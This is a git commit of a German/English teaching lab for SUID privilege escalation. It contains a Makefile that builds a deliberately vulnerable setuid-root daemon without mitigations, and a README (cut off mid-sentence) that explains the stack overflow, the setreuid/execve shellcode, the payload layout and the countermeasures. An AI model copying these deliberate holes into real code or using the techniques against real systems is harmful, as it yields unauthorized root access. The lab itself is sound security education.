Initial commit

This commit is contained in:
Johannes Findeisen 2026-09-29 09:39:24 +02:00
commit 394e3be54d
41 changed files with 16315 additions and 0 deletions

15
suid/.gitignore vendored Normal file
View file

@ -0,0 +1,15 @@
# Build products
foosd
foosd_hardened
foosc
shellcode.bin
.sc_c_raw.txt
.sc_c.txt
.sc_asm.txt
tests/pty_suid_test
# Logs are evidence -- keep them out of git but present on disk
foosd.log
foosd_hardened.log
*.log

314
suid/Makefile Normal file
View file

@ -0,0 +1,314 @@
# ============================================================================
# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and
# the test harness. Companion to the parent lab's Makefile.
# ============================================================================
#
# make build foosd, foosc and the test harness
# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a
# root owner. THIS is what makes the exploit yield root.
# make unsetuid remove the setuid bit again when you are done
# make run start foosd on loopback (whatever uid it currently has)
# make status report the setuid state of ./foosd
# make test technique matrix (works with or without the setuid bit)
# make test-suid the matrix with --must-root on the techniques that are
# SUPPOSED to escalate (needs `make setuid` first)
# make verify prove the bytes in foosc.c equal what shellcode.S makes
# make hardened rebuild foosd with all mitigations ON (expect failure)
# make test-hardened show which techniques the mitigations kill
# make stop stop the daemon
# make clean remove build products
#
# ---------------------------------------------------------------------------
# THE SETUID STATE -- the one thing that makes this lab different
# ---------------------------------------------------------------------------
# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x).
# The whole point of this lab is the difference between running `foosd`
# WITHOUT that state (exploits land, but the shell is a plain user shell)
# and WITH it (shellcode yields uid=0):
#
# make setuid # needs sudo, once, after any rebuild
# make run
# make test-suid
# make stop
# make unsetuid # hygiene: never leave it set
#
# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete
# permissions come from the DIRECTORY), but recompiling OVER a root-owned
# file fails with "Permission denied". So after `make setuid`:
# sudo make clean # or: make unsetuid, then make, then make setuid
# ============================================================================
CC ?= gcc
CSTD := -std=c99
# We do NOT use -Werror: the deliberate overflow triggers
# -Wstringop-overflow in foosd.c and that warning is supposed to fire.
WARN := -Wall -Wextra
DBG := -O0 -g
# --- the vulnerable build -----------------------------------------------------
# Same deliberate removals as the parent lab, now with a SUID twist: dropping
# the canary, PIE and NX is what makes the techniques reachable, but NONE of
# them has anything to do with the +s bit. A hardened build of this same
# source is still a SUID binary -- just a harder-to-abuse one.
VULN := -fno-stack-protector -no-pie -z execstack
# --- the hardened build -------------------------------------------------------
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
# Port: kept distinct from the parent lab's 2342 so both can run together.
PORT ?= 2343
all: foosd foosc tests/pty_suid_test
# -----------------------------------------------------------------------------
# The daemon. It becomes SUID later via `make setuid`; the build itself is
# ordinary (a setuid bit is a filesystem attribute, not a linker flag).
# -----------------------------------------------------------------------------
foosd: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
# -----------------------------------------------------------------------------
# The exploit: mitigations ON (the attacker gains nothing by self-weakening).
# -ldl for dlsym(), which measures libc offsets at runtime instead of
# hardcoding numbers that break on the next glibc update.
# -----------------------------------------------------------------------------
foosc: foosc.c
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
tests/pty_suid_test: tests/pty_suid_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
# -----------------------------------------------------------------------------
# setuid: install the SUID-root state. Requires root (sudo). After this,
# `./foosd` run by ANY user starts with euid 0.
#
# Note the file must be owned by root AND the surrounding directory must not
# be writable by others -- a root-owned SUID binary in a world-writable dir
# is itself a classic bug (anyone can replace or relink it as root later).
# -----------------------------------------------------------------------------
setuid: foosd
@echo "=== giving foosd the setuid bit (needs your sudo password)"
@sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd'
@echo
@ls -l foosd
@echo
@echo "=== expect the owner 'root' and a mode starting with -rws (the s)."
@stat -c 'owner=%U mode=%A' foosd
@echo "=== now: make run ; make test-suid"
@echo "=== when done: make stop ; make unsetuid"
unsetuid:
@if [ -f foosd ]; then \
sudo chmod u-s foosd; \
echo "=== setuid bit removed from foosd."; \
echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \
or 'sudo make clean && make'.)"; \
stat -c 'owner=%U mode=%A' foosd; \
else \
echo "=== foosd not built; nothing to do"; \
fi
# -----------------------------------------------------------------------------
# status: what state is the binary in? The daemon also reports this in its log
# at startup, so this is just a convenience.
# -----------------------------------------------------------------------------
status:
@if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi
@owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \
echo "=== foosd: owner=$$owner mode=$$mode"; \
case "$$mode" in -rws*) \
echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \
*) \
echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \
esac
# -----------------------------------------------------------------------------
# run / stop. setsid + nohup + </dev/null are all required so the daemon
# survives the invoking shell and never competes with you for the terminal.
# -----------------------------------------------------------------------------
run: foosd
@echo "=== starting foosd on 127.0.0.1:$(PORT)"
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foosd >/dev/null; then \
echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \
echo "=== startup log line (uid/euid state):"; \
grep startup foosd.log; \
else \
echo "=== foosd failed to start; see foosd.log"; exit 1; \
fi
stop:
@if pgrep -x foosd >/dev/null; then \
pkill -x foosd; sleep 0.5; \
echo "=== foosd stopped"; \
else \
echo "=== foosd was not running"; \
fi
@# Also clean up a leftover hardened daemon; it would hold the port.
@if pgrep -x foosd_hardened >/dev/null; then \
pkill -x foosd_hardened; sleep 0.5; \
echo "=== foosd_hardened stopped"; \
fi
# -----------------------------------------------------------------------------
# test: the technique matrix. Works whether or not the setuid bit is set.
#
# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands
# root ("--must-root") -- without the setuid bit
# these FAIL, which is the correct answer.
# ret2win / ret2libc are the DEMOTED ones: they land a shell, but
# bash resets euid=ruid, so root is NOT expected.
# The harness is used WITHOUT --must-root, and
# the ROOT= line printed tells the truth either
# way.
#
# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output.
# -----------------------------------------------------------------------------
test: tests/pty_suid_test
@fail=0; \
echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \
./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \
./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \
echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \
./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \
echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \
./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== shellcode and ret2win-root escalated to root."; \
echo "=== If you expected this WITHOUT running 'make setuid', note"; \
echo "=== that foosd must be setuid-root for euid to be 0."; \
else \
echo "=== at least one technique did not behave as expected."; \
echo "=== Check the ROOT= value above, foosd.log, and README.md."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# test-suid: the same matrix, but it explicitly checks the setuid state first
# so the diagnosis is obvious. Run AFTER sudo make setuid and make run.
# -----------------------------------------------------------------------------
test-suid: tests/pty_suid_test
@if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \
echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \
fi
@$(MAKE) --no-print-directory test
# -----------------------------------------------------------------------------
# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm
# produces from shellcode.S. A hand-maintained hex array and a hand-written
# .S file are both easy to get wrong; the diff catches it automatically.
# -----------------------------------------------------------------------------
verify verify-shellcode: shellcode.S foosc.c
@command -v nasm >/dev/null 2>&1 || { \
echo "verify-shellcode: nasm is not installed; skipping."; \
echo " (Arch: pacman -S nasm)"; exit 0; }
@echo "=== Assembling shellcode.S ..."
@nasm -f bin -o shellcode.bin shellcode.S
@echo "=== nasm output:"
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//'
@echo
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
@# first (they mention hex constants like "0x71"), then grep the literals.
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \
| sed -e 's,/\*.*\*,,' \
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
> .sc_c_raw.txt
@echo "=== bytes declared in foosc.c's SHELLCODE[] array:"
@cat .sc_c_raw.txt
@echo
@echo "=== comparing ..."
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//' > .sc_asm.txt
@if cmp -s .sc_c.txt .sc_asm.txt; then \
n=$$(wc -c < shellcode.bin); \
echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \
echo " shellcode.S assembles to."; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
else \
echo "MISMATCH -- the two differ:"; \
diff .sc_c.txt .sc_asm.txt || true; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
fi
# -----------------------------------------------------------------------------
# hardened: same source, all mitigations ON. Every technique should die at the
# canary; the point is the console contrast with the vulnerable build, and the
# reminder in README.md that a hardened build is still a SUID binary.
# -----------------------------------------------------------------------------
hardened: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $<
@echo
@echo "=== foosd_hardened built with the mitigations ON."
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
@readelf -W -l foosd_hardened | grep GNU_STACK
# test-hardened: swap the hardened daemon in, show every technique failing,
# then put the vulnerable one back exactly as it was.
test-hardened: hardened tests/pty_suid_test
@if ! pgrep -x foosd >/dev/null; then \
echo "=== start the daemon first: make run"; exit 1; \
fi
@$(MAKE) --no-print-directory stop
@echo "### starting foosd_hardened instead"
@setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 </dev/null \
& disown 2>/dev/null || true
@sleep 1
@if ! pgrep -x foosd_hardened >/dev/null; then \
echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \
$(MAKE) --no-print-directory stop; exit 1; \
fi
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
@grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true
@echo
@for t in ret2libc ret2win ret2win-root shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \
echo "--- $$t: got a shell (report the ROOT= line above)"; \
else \
echo "--- $$t was stopped by the mitigations (as expected)"; \
fi; \
done
@echo
@$(MAKE) --no-print-directory stop
@echo "### restoring the vulnerable daemon"
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & disown 2>/dev/null || true
@sleep 1
@echo
@echo "=== mitigation contrast is above. See README.md."
# -----------------------------------------------------------------------------
# debug: rebuild for gdb and show the first breakpoints to try.
# -----------------------------------------------------------------------------
debug: foosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $<
@echo "=== built ./foosd for gdb. Try:"
@echo " gdb -q ./foosd"
@echo " (gdb) break foosd.c:392 # the read() that overflows"
@echo " (gdb) run -p 2343"
@echo " (gdb) info registers rsp rbp"
# -----------------------------------------------------------------------------
# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete
# permission lives on the directory) but recompiling over it does not. If make
# fails with "Permission denied" here, run `sudo make clean` first.
# -----------------------------------------------------------------------------
clean:
rm -f foosd foosc foosd_hardened shellcode.bin
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
rm -f tests/pty_suid_test
@echo "=== cleaned. (foosd.log is left alone; it is your evidence.)"
.PHONY: all setuid unsetuid status run stop test test-suid verify \
verify-shellcode hardened test-hardened debug clean

406
suid/README.DE.md Normal file
View file

@ -0,0 +1,406 @@
# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit)
Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher
Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt
die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**.
> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in
> „der Angreifer kann auf diesem Host Code als **root** ausführen".
Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter,
aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche
zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein
Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist.
Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die
über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode
ausgeführt werden.
---
## 1. Was das Setuid-Bit tatsächlich tut
Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an
der Beziehung zwischen ihnen:
| ID | Name | Bedeutung |
|----|------|---------|
| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat |
| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft |
| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf |
Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit
gesetztem Setuid-Bit ausführst, das root gehört:
```text
ruid = du (z. B. 1000, "hanez")
euid = der Besitzer (z. B. 0, "root")
```
Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn
gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt —
kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen
Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root".
`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro
Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das
eine Verbindung behandelt, root. Der Overflow in `foosd`s
`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*.
**Diagnostiziere es selbst, sobald der Daemon läuft:**
```console
$ ./foosd ... # siehe die Log-Zeile beim Start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
und vom Exploit aus:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Das Labor auf einen Blick
| Datei | Rolle |
|------|------|
| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. |
| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. |
| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. |
| `README.md` | Diese Datei. |
> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an
> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein
> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal
> ist erforderlich.
---
## 3. Schnellstart
```console
$ make # alles bauen, als dein normaler Benutzer
$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s
$ make run # startet foosd auf 127.0.0.1:2343
$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben
```
Interaktiver Smoke-Test:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer
# exit
```
Wenn du fertig bist:
```console
$ make stop
$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen
```
---
## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest
Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die
Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und
vom Netzwerk getrennt ist:
```console
$ make # kompiliere foosd, foosc, tests
$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # starte NACH dem Setzen des Bits
```
Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt:
1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt
und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der
root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den
Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu,
womit die Einrichtung still rückgängig gemacht wird. Die kanonische
Reihenfolge bei jedem Rebuild ist daher
```console
$ make unsetuid && make && make setuid
```
2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes,
root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem
Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler
zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine:
**mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig,
etwas anderes als Loopback zu binden (siehe §7).
Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der
Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied
steckt in einer Zahl, und der Exploit sagt sie laut:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Dieses „funktioniert, aber nicht root" ist selbst Teil des Labors. Behalte es
für den nächsten Abschnitt im Kopf.
---
## 5. Der Mechanismus — und die Wendung, die SUID interessant macht
### 5.1 Der Overflow (identisch zu `food`)
`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen
64-Byte-Stack-Puffer reicht:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */
```
Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um
`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr,
um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn
`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers
in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt
den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe
parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt.
### 5.2 Die Wendung: Die Shell weigert sich, root zu sein
Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund,
warum dieses Labor genau diese Form hat.
Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der
startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der
Angreifer — jetzt eine Shell startet:
* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt
`(ruid=1000, euid=0)`.
* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem
bash-Handbuch: *„If the shell is started with the effective user (group) id
not equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id."*
Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine
Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben
(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem).
Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle:
| Technik | Was sie ausführt | Resultierende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt |
| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert |
| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert |
Die beiden, die root erreichen, unterscheiden sich von den beiden, die es
nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die
effektive.**
```c
setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000:
bash sieht weiterhin euid != ruid und setzt IMMER NOCH
zurück. */
setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0.
bash sieht gleiche uids und behält root. */
```
Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet
findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier
32 Bytes statt 23: Die ersten fünf Anweisungen sind
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Also, was ist der Exploit Ende-zu-Ende?
1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt:
- `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose)
- `stack=…` und `libc=…` — Pointer (die ASLR-Leaks)
- `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt
2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die
Adressen von `win()` / `win_root()`.
3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen
Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und
eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet.
4. Es setzt den Payload zusammen. Für `-t shellcode` ist das:
`[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`.
5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel
führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve`
von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root.
6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit`
tippst.
Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen
wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte
Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede
Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make
test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei
Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion,
ausführbar in zehn Sekunden.
---
## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind
Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD`
und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern
auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu
wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis
bekommst:
| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. |
| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. |
| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) |
| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. |
Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen
*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst,
dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt,
solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den
uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell
übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in
`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und
No-Execute-Stacks keine Modeentscheidung.
---
## 7. Die in den Daemon eingebauten Sicherheitsleitplanken
`foosd` ist absichtlich das *schlechteste* Stück Software in diesem
Repository, also trägt es auch die meisten Leitplanken:
1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als
Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener
auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung
ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden
muss.
2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root
läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt.
3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten
Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe
und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden
können.
4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den
der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine
erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu
sein.
5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt
zu lassen ist der Ausfallmodus, den Leute tatsächlich haben.
---
## 8. Gegenmaßnahmen — was jede stoppt und was nicht
Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen:
| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. |
| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). |
| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). |
| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". |
Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build
eintauscht und zeigt, wie alle Techniken am Canary sterben, während
`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet.
Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch
das übergeordnete Labor (`food`) nutzt:
- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024)
hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und
dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen
und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode
als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des
Labors).
- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte
Zeile schlägt jede Compiler-Flag in der Tabelle.
---
## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die
Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner
es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt,
ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`).
Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` —
sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig
